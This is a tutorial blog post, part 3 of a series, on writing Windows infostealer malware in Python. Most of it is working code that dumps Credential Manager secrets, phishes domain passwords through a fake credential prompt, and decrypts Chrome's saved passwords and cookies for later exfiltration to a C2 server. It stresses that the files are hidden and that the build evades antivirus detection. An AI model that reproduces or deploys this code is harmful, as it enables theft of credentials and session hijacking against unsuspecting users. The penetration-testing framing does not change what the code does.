Keylogging and clipboard monitoring are very useful and probably all we need to capture credentials easily. That said, there might be already saved credentials on the system that we also want to recover. In part 3, we’ll cover some useful and basic techniques to steal credentials and cookies with standard user privileges. This time instead of writing something painfully long and complex with ctypes
, we’ll use pywin32
which is a wrapper for the WinAPI. To install it, simply use the pip install pypiwin32
command.
We start by importing the packages and modules we’ll need and create a constant to be used when calling some Credential Manager (also known as CredMan) related functions.
import os
import io
import sys
import sqlite3
import json
import shutil
import win32cred
import win32crypt
import win32api
import win32con
import pywintypes
CRED_TYPE_GENERIC = win32cred.CRED_TYPE_GENERIC
Then, we’ll create a new class called credentials
. It won’t need any constructor, it’s simply to differentiate the credentials methods from the cookies methods. Within that class, we’ll start with the dump_credsman_generic()
method.
Dumping generic credentials from Windows Credential Manager
That function is meant to dump all generic credentials stored in the Credential Manager. Generic credentials are non-domain type credentials. For example, if you use Git on Windows and you authenticate to GitHub, Bitbucket, Gitlab, etc. the credentials are stored in CredMan. We cannot read domain credentials (CRED_TYPE_DOMAIN
) without interacting with LSASS which we want to avoid (source: https://docs.microsoft.com/en-us/windows/desktop/secauthn/kinds-of-credentials).
We start by importing the functions we’ll need to enumerate and read the credentials.
def dump_credsman_generic():
CredEnumerate = win32cred.CredEnumerate
CredRead = win32cred.CredRead
Then, we enumerate the credentials stored in credman and put them in the creds
variable, which is a tuple.
try:
creds = CredEnumerate(None, 0) # Enumerate credentials
except Exception: # Avoid crashing on any exception
pass
Now we want to iterate through each credential set (named package here because set is a Python keyword) and add them as individual elements to the credentials
list so it’s easier to work with.
credentials = []
for package in creds:
try:
target = package['TargetName']
creds = CredRead(target, CRED_TYPE_GENERIC)
credentials.append(creds)
except pywintypes.error:
pass
You might notice two things here. First we’re using a list instead of a dictionary. That’s because the credential blob is in hexadecimal. In Python, octal and hexadecimal formats are not supported by JSON so we use a list as workaround.
The second thing is that we use CredRead()
, which returns the same data as CredEnumerate(). The difference here is that CredRead() is used to read a specific package (or set) of credentials while CredEnumerate() just returns everything. We could simply loop through the creds
variable, but from what I’ve seen reading some C code using CredMan, CredRead()
is the clean way to do it (don’t hesitate to correct me if I’m wrong).
Now it’s time to create an in-memory text stream (to avoid writing a file on disk) that we can later send to our not-yet-built C2.
credman_creds = io.StringIO() # In-memory text stream
for cred in credentials:
service = cred['TargetName']
username = cred['UserName']
password = cred['CredentialBlob'].decode()
credman_creds.write('Service: ' + str(service) + '\n')
credman_creds.write('Username: ' + str(username) + '\n')
credman_creds.write('Password: ' + str(password) + '\n')
credman_creds.write('\n')
return credman_creds.getvalue()
We first start with creating the credman_creds
text stream that will hold the service, username and password. We then iterate through the credentials
variable and write the data we want to the text stream, making sure we decode the credential blob so we get the password in plain-text. When done, we simply return the data contained in the text stream.
We can test by editing our main.py
file with the following:
import stealer
if __name__ == '__main__':
credstealer = stealer.credentials
print(credstealer.dump_credsman_generic())
The result:
As you can see above, if there are git keys or passwords stored in there, you can dump them which could give you access to source code that isn’t public.The Microsoft_OC1
TargetName is actually the password for a Skype for Business account, which is the same as the domain password of the user. If the user is also running Outlook 2016, you’ll likely find his domain credentials under MicrosoftOffice16_Data:SSPI:<account>
.
Asking for domain credentials with a prompt
As said previously, it’s common nowadays for penetration testers to use Mimikatz to dump credentials from LSASS. The problem is that it gets caught immediately by most EDR and next-gen AVs. If you haven’t been lucky with the keylogging and the credential manager to find the user’s domain password, about just asking for it?
We can try to do some social engineering and trick the user to give us his domain credentials using the CredUIPromptForCredentials()
function to display a dialog box asking for them. The function does exactly that and returns the password entered as plain text.
CredUIPromptForCredentials = win32cred.CredUIPromptForCredentials
creds = []
try:
creds = CredUIPromptForCredentials(os.environ['userdomain'], 0, os.environ['username'], None, True, CRED_TYPE_GENERIC, {})
except Exception: # Avoid crashing on any exception
pass
return creds
Here we use the environment variable userdomain
to display the target. If the user is on the domain CONTOSO.LOCAL
, the prompt will ask to enter credentials for the user on domain CONTOSO-LOCAL
, which is the name returned by userdomain
.
As you can see below, the method returns the credentials entered in plain text.
Dumping passwords saved in Chrome
Chrome is the browser with the most marketshare so it will naturally be a prime target. Every single piece of stealer malware I’ve seen steals passwords from Chrome because, to be honest, it’s really easy. If you don’t set a master password when saving your credentials, the encrypted blob in the Login Data database can be decrypted with the CryptUnprotectData
as long as its done in the current user context. This means that you can’t just grab the database and open it on a different machine with a different user.
Chrome passwords are stored in a SQLite database called Login Data
located in the %localappdata%\Google\Chrome\User Data\Default\
directory. The structure of the database can be seen here using DB Browser, an open source database tool for SQLite.
There are three relevant fields here that we’ll want to query for: action_urls
, username_value
and password_value
. The field password_value
contains an encrypted blob that we will decrypt with the code below.
First, we want to make a local copy of the database file, otherwise, if Chrome is currently running, it will have a handle on it and the database will be locked. Alternatively, we could use WMI to query the running processes and wait for Chrome
to stop running but that could take a long time.
try:
login_data = os.environ['localappdata'] + '\\Google\\Chrome\\User Data\\Default\\Login Data'
shutil.copy2(login_data, './Login Data') # Copy DB to current dir
win32api.SetFileAttributes('./Login Data', win32con.FILE_ATTRIBUTE_HIDDEN) # Make file invisible during operation
except Exception:
pass
chrome_credentials = io.StringIO() # In-memory text stream
We use basic exception handling to avoid crashing the program if one occurs. If you need to troubleshoot issues with sqlite3
, use sqlite3.Error
to get the details. Then we create a in-memory text stream that will contain the dumped credentials to avoid writing a file on disk.
Now, we have to open the local copy of the Login Data
database with the sqlite3 library and query for the credentials that were saved by the user.
try:
conn = sqlite3.connect('./Login Data', ) # Connect to database
cursor = conn.cursor() # Create a cursor to fetch the data
cursor.execute('SELECT action_url, username_value, password_value FROM logins') # Run the query
results = cursor.fetchall() # Get the results
conn.close() # Close the database file so it's not locked by the process
os.remove('Login Data') # Delete file when done as the results are in a variable.
This is an easy and simple example on how to query a SQLite database with Python but it can be very useful. Later, when dealing with Chrome cookies, we’ll also update the data in the database. Now that our variable results
contains the results of the query, which are the urls, usernames and encrypted passwords, we can loop through those results and decrypt the passwords with the WinAPI function CryptUnprotectData
and append them to our in-memory text stream.
for action_url, username_value, password_value in results:
password = win32crypt.CryptUnprotectData(password_value, None, None, None, 0)[1] # Decrypt the password with CryptUnprotectData
if password: # Write credentials to text stream in memory
chrome_credentials.write('URL: ' + action_url + '\n')
chrome_credentials.write('Username: ' + username_value + '\n')
chrome_credentials.write('Password: ' + str(password) + '\n')
chrome_credentials.write('\n')
return chrome_credentials.getvalue() # Return content of the text stream
except sqlite3.OperationalError as e: # Simple exception handling to avoid crashing
print(e) # when opening the Login Data database
pass
except Exception as e: # Avoid crashing for any other exception
print(e)
pass
We use CryptUnprotectData
to decrypt the blob because Chrome on Windows uses the CryptProtectData
WinAPI function to encrypt them (reference: https://chromium.googlesource.com/chromium/chromium/+/master/chrome/browser/password_manager/encryptor_win.cc). As you can read on MSDN regarding CryptProtectData
, The CryptProtectData function performs encryption on the data in a DATA_BLOB structure. Typically, only a user with the same logon credential as the user who encrypted the data can decrypt the data. In addition, the encryption and decryption usually must be done on the same computer. For information about exceptions, see Remarks. This is why we need to decrypt the data locally and in the same user context.
Now, we can test the method by modifying our main.py
to call it.
import stealer
if __name__ == '__main__':
credstealer = stealer.credentials
print(credstealer.dump_chrome_passwords())
Then we run main.py
and…
Stealing Chrome cookies
Chrome cookies are managed the same way as passwords. They are stored in a database file called Cookies
and are encrypted with CryptProtectData
. So the decryption will be done the same way. However, there are two differences here. First, we rewrite the data inside the database with the decrypted cookies instead of writing them in a file. Second, this we steal the whole database file with the decrypted cookies. This database can then be uploaded to a remote server and used for authenticating in the sites visited by the user if the session has not expired on the server side or if the user has not signed-out.
login_data = os.environ['localappdata'] + '\\Google\\Chrome\\User Data\\Default\\Cookies' # Path to Cookies database file
shutil.copy2(login_data, './Cookies') # Copy DB to current dir
win32api.SetFileAttributes('./Cookies', win32con.FILE_ATTRIBUTE_HIDDEN) # Make file invisible during operation
try:
conn = sqlite3.connect('./Cookies') # Connect to database
cursor = conn.cursor()
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies') # Run the query
results = cursor.fetchall() # Get the results
# Decrypt the cookie blobs
for host_key, name, value, encrypted_value in results:
decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode()
# Updating the database with decrypted values.
cursor.execute("UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999,\
is_persistent = 1, is_secure = 0 WHERE host_key = ? AND name = ?",(decrypted_value, host_key, name));
conn.commit() # Save the changes
conn.close() # Close the database file so it's not locked by the process
except Exception as e: # Avoid crashes from exceptions if any occurs.
print(e)
pass
# Then, after this function is called, we would exfiltrate the database and delete it.
Don’t forget that using cookies by themselves however does not always work. Sessions might be tied to additional information such as user-agent, IP address, referrer, etc. so we have to gather as much information as we can on the user and the host first. This will be covered in part 4 where we’ll build a simple module to collect system information and set up a command and control server using GitHub so we can hide the traffic in plain sight.
Now let’s see if building an executable that dumps credman and Chrome passwords triggers detections…
Nope. But to be fair, it doesn’t do much right now. That said, credential dumping in user space with standard privilege rarely gets detected. That’s because, even for heuristics, it’s hard to determine if access to credential manager or not is for malicious purpose as many legitimate applications use it to “securely” store credentials. If you don’t try to escalate privileges and dump LSASS, it’s unlikely that you’ll be detected.
The full code with useful comments can be found here: